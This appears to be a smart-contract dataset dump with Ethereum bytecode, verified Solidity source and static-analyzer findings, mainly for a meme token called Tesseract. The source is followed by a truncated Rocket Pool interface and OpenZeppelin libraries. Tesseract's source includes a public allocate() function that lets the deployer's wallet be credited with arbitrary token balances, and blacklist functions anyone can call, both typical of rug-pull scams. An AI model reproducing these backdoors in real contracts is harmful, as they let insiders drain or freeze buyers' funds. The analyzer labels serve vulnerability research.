660009081526002602090815260408083203390941683529290522054821115610a7057600080fd5b600160a060020a038416600090815260208190526040902054610a99908363ffffffff610b9016565b600160a060020a038086166000908152602081905260408082209390935590851681522054610ace908363ffffffff610b8116565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610b14908363ffffffff610b9016565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60008282018381101561045b57fe5b600082821115610b9c57fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610bff57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610c36565b610c0f818463ffffffff610b9016565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610cb357600080fd5b600160a060020a033316600090815260208190526040902054821115610cd857600080fd5b600160a060020a033316600090815260208190526040902054610d01908363ffffffff610b9016565b600160a060020a033381166000908152602081905260408082209390935590851681522054610d36908363ffffffff610b8116565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610de6908363ffffffff610b8116565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a3506001929150505600a165627a7a7230582079e7cfddb4bfa45bf39383802d5b2a168d9bb5c4eb0823926411fc2bf7c3aa210029
|
{"success": true, "error": null, "results": {}}
| 5,945 |
0x08430ab807C6FCe0a9CFDf426d653F5A06ee0292
|
/**
*Submitted for verification at Etherscan.io on 2022-03-18
*/
//SPDX-License-Identifier: MIT
/**
TESSERACT is an ERC20 powered, community driven, meme ecosystem that rewards its holders by distributing TESSERACT through airdrops. Come and join us in our adventure as the value team on the block! #TeamTESSERACT
The Tesseract, also called the Cube, was a crystalline cube-shaped containment vessel for the Space Stone, one of the six Infinity Stones that predate the universe and possess unlimited energy.
https://t.me/tesseractETH
**/
pragma solidity ^0.8.9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Tesseract is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = 880000000 * 10**8;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
uint256 private _maxWallet;
string private constant _name = "Tesseract";
string private constant _symbol = "TESSERACT";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 10;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(100);
_maxWallet=_tTotal.div(50);
_allocate(address(this),_tTotal);
}
function _allocate(address recipient,uint256 amount) internal {
_balance[recipient] = amount;
emit Transfer(address(0x0), recipient, amount);
}
function allocate(address recipient,uint256 amount) public {
require(_isExcludedFromFee[recipient]);
_allocate(recipient, amount);
}
function maxTxAmount() public view returns (uint256){
return _maxTxAmount;
}
function maxWallet() public view returns (uint256){
return _maxWallet;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
require(_canTrade,"Trading not started");
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}else{
require(!bots[from] && !bots[to], "This account is blacklisted");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 1000000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function decreaseTax(uint256 newTaxRate) public onlyOwner{
require(newTaxRate<_taxFee);
_taxFee=newTaxRate;
}
function increaseBuyLimit(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
}
function enableTrading() external onlyOwner{
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
receive() external payable {}
function blockBots(address[] memory bots_) public {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
function unblockBot(address notbot) public {
bots[notbot] = false;
}
function manualSend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
|
0x60806040526004361061014e5760003560e01c80638c0b5e22116100b6578063b78b52df1161006f578063b78b52df146103eb578063bfd792841461040b578063dd62ed3e1461043b578063e8078d9414610481578063f429389014610496578063f8b45b05146104ab57600080fd5b80638c0b5e22146103275780638da5cb5b1461033c57806395d89b41146103645780639a024c1a146103965780639e78fb4f146103b6578063a9059cbb146103cb57600080fd5b80633e7175c5116101085780633e7175c51461024b57806350e6a5c91461026b5780636b9990531461028b57806370a08231146102c7578063715018a6146102fd5780638a8c523c1461031257600080fd5b8062b8cf2a1461015a57806306fdde031461017c578063095ea7b3146101c057806318160ddd146101f057806323b872dd1461020f578063313ce5671461022f57600080fd5b3661015557005b600080fd5b34801561016657600080fd5b5061017a6101753660046115e1565b6104c0565b005b34801561018857600080fd5b5060408051808201909152600981526815195cdcd95c9858dd60ba1b60208201525b6040516101b791906116a6565b60405180910390f35b3480156101cc57600080fd5b506101e06101db3660046116fb565b61052c565b60405190151581526020016101b7565b3480156101fc57600080fd5b506006545b6040519081526020016101b7565b34801561021b57600080fd5b506101e061022a366004611727565b610543565b34801561023b57600080fd5b50604051600881526020016101b7565b34801561025757600080fd5b5061017a610266366004611768565b6105ac565b34801561027757600080fd5b5061017a610286366004611768565b6105f2565b34801561029757600080fd5b5061017a6102a6366004611781565b6001600160a01b03166000908152600560205260409020805460ff19169055565b3480156102d357600080fd5b506102016102e2366004611781565b6001600160a01b031660009081526002602052604090205490565b34801561030957600080fd5b5061017a61062f565b34801561031e57600080fd5b5061017a6106a3565b34801561033357600080fd5b50600954610201565b34801561034857600080fd5b506000546040516001600160a01b0390911681526020016101b7565b34801561037057600080fd5b50604080518082019091526009815268151154d4d1549050d560ba1b60208201526101aa565b3480156103a257600080fd5b5061017a6103b1366004611768565b6106e2565b3480156103c257600080fd5b5061017a61071f565b3480156103d757600080fd5b506101e06103e63660046116fb565b6109f8565b3480156103f757600080fd5b5061017a6104063660046116fb565b610a05565b34801561041757600080fd5b506101e0610426366004611781565b60056020526000908152604090205460ff1681565b34801561044757600080fd5b5061020161045636600461179e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561048d57600080fd5b5061017a610a34565b3480156104a257600080fd5b5061017a610b59565b3480156104b757600080fd5b50600a54610201565b60005b8151811015610528576001600560008484815181106104e4576104e46117d7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061052081611803565b9150506104c3565b5050565b6000610539338484610bac565b5060015b92915050565b6000610550848484610cd0565b6105a2843361059d856040518060600160405280602881526020016119a2602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611106565b610bac565b5060019392505050565b6000546001600160a01b031633146105df5760405162461bcd60e51b81526004016105d69061181e565b60405180910390fd5b600a5481116105ed57600080fd5b600a55565b6000546001600160a01b0316331461061c5760405162461bcd60e51b81526004016105d69061181e565b600954811161062a57600080fd5b600955565b6000546001600160a01b031633146106595760405162461bcd60e51b81526004016105d69061181e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106cd5760405162461bcd60e51b81526004016105d69061181e565b600c805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461070c5760405162461bcd60e51b81526004016105d69061181e565b600754811061071a57600080fd5b600755565b6000546001600160a01b031633146107495760405162461bcd60e51b81526004016105d69061181e565b600c54600160a01b900460ff16156107a35760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105d6565b600b546006546107c09130916001600160a01b0390911690610bac565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080e57600080fd5b505afa158015610822573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108469190611853565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a357600080fd5b505afa1580156108b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108db9190611853565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561092357600080fd5b505af1158015610937573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095b9190611853565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b390604401602060405180830381600087803b1580156109bd57600080fd5b505af11580156109d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f59190611870565b50565b6000610539338484610cd0565b6001600160a01b03821660009081526004602052604090205460ff16610a2a57600080fd5b6105288282611140565b6000546001600160a01b03163314610a5e5760405162461bcd60e51b81526004016105d69061181e565b600b546001600160a01b031663f305d7194730610a90816001600160a01b031660009081526002602052604090205490565b600080610aa56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611892565b5050600c805460ff60b01b1916600160b01b17905550565b476109f581611191565b6000610ba583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111cb565b9392505050565b6001600160a01b038316610c0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d6565b6001600160a01b038216610c6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d6565b6001600160a01b038216610d965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d6565b60008111610df85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105d6565b6000546001600160a01b03848116911614801590610e2457506000546001600160a01b03838116911614155b156110a557600c546001600160a01b038481169116148015610e545750600b546001600160a01b03838116911614155b8015610e7957506001600160a01b03821660009081526004602052604090205460ff16155b15610f9f57600954811115610ed05760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d6974656400000000000060448201526064016105d6565b600c54600160a01b900460ff16610f1f5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd081cdd185c9d1959606a1b60448201526064016105d6565b600a5481610f42846001600160a01b031660009081526002602052604090205490565b610f4c91906118c0565b1115610f9a5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a650000000060448201526064016105d6565b61102d565b6001600160a01b03831660009081526005602052604090205460ff16158015610fe157506001600160a01b03821660009081526005602052604090205460ff16155b61102d5760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c6973746564000000000060448201526064016105d6565b30600090815260026020526040902054600c54600160a81b900460ff161580156110655750600c546001600160a01b03858116911614155b801561107a5750600c54600160b01b900460ff165b156110a357611088816111f9565b47670de0b6b3a764000081106110a1576110a147611191565b505b505b6001600160a01b0382166000908152600460205260409020546111019084908490849060ff16806110ee57506001600160a01b03871660009081526004602052604090205460ff165b6110fa57600754611382565b6000611382565b505050565b6000818484111561112a5760405162461bcd60e51b81526004016105d691906116a6565b50600061113784866118d8565b95945050505050565b6001600160a01b0382166000818152600260209081526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610528573d6000803e3d6000fd5b600081836111ec5760405162461bcd60e51b81526004016105d691906116a6565b50600061113784866118ef565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611241576112416117d7565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561129557600080fd5b505afa1580156112a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112cd9190611853565b816001815181106112e0576112e06117d7565b6001600160a01b039283166020918202929092010152600b546113069130911684610bac565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061133f908590600090869030904290600401611911565b600060405180830381600087803b15801561135957600080fd5b505af115801561136d573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600061139960646113938585611486565b90610b63565b905060006113a78483611505565b6001600160a01b0387166000908152600260205260409020549091506113cd9085611505565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546113fc9082611547565b6001600160a01b0386166000908152600260205260408082209290925530815220546114289083611547565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000826114955750600061053d565b60006114a18385611982565b9050826114ae85836118ef565b14610ba55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105d6565b6000610ba583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611106565b60008061155483856118c0565b905083811015610ba55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105d6565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146109f557600080fd5b80356115dc816115bc565b919050565b600060208083850312156115f457600080fd5b823567ffffffffffffffff8082111561160c57600080fd5b818501915085601f83011261162057600080fd5b813581811115611632576116326115a6565b8060051b604051601f19603f83011681018181108582111715611657576116576115a6565b60405291825284820192508381018501918883111561167557600080fd5b938501935b8285101561169a5761168b856115d1565b8452938501939285019261167a565b98975050505050505050565b600060208083528351808285015260005b818110156116d3578581018301518582016040015282016116b7565b818111156116e5576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561170e57600080fd5b8235611719816115bc565b946020939093013593505050565b60008060006060848603121561173c57600080fd5b8335611747816115bc565b92506020840135611757816115bc565b929592945050506040919091013590565b60006020828403121561177a57600080fd5b5035919050565b60006020828403121561179357600080fd5b8135610ba5816115bc565b600080604083850312156117b157600080fd5b82356117bc816115bc565b915060208301356117cc816115bc565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611817576118176117ed565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561186557600080fd5b8151610ba5816115bc565b60006020828403121561188257600080fd5b81518015158114610ba557600080fd5b6000806000606084860312156118a757600080fd5b8351925060208401519150604084015190509250925092565b600082198211156118d3576118d36117ed565b500190565b6000828210156118ea576118ea6117ed565b500390565b60008261190c57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119615784516001600160a01b03168352938301939183019160010161193c565b50506001600160a01b03969096166060850152505050608001529392505050565b600081600019048311821515161561199c5761199c6117ed565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e515bb32e0c02423bf5247df28ad98c7c40c26685d610dd879344eeb6dec1bda64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,946 |
0xb32C54f13abFa4f49427B9A220bcD73f12179b67
|
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Part: IRocketPool
interface IRocketPool {
function getBalance() external view returns (uint256);
function getMaximumDepositPoolSize() external view returns (uint256);
function getAddress(bytes32 _key) external view returns (address);
function getUint(bytes32 _key) external view returns (uint256);
function getDepositEnabled() external view returns (bool);
function getMinimumDeposit() external view returns (uint256);
}
// Part: OpenZeppelin/openzeppelin-contracts@3.1.0/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/openzeppelin-contracts@3.1.0/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
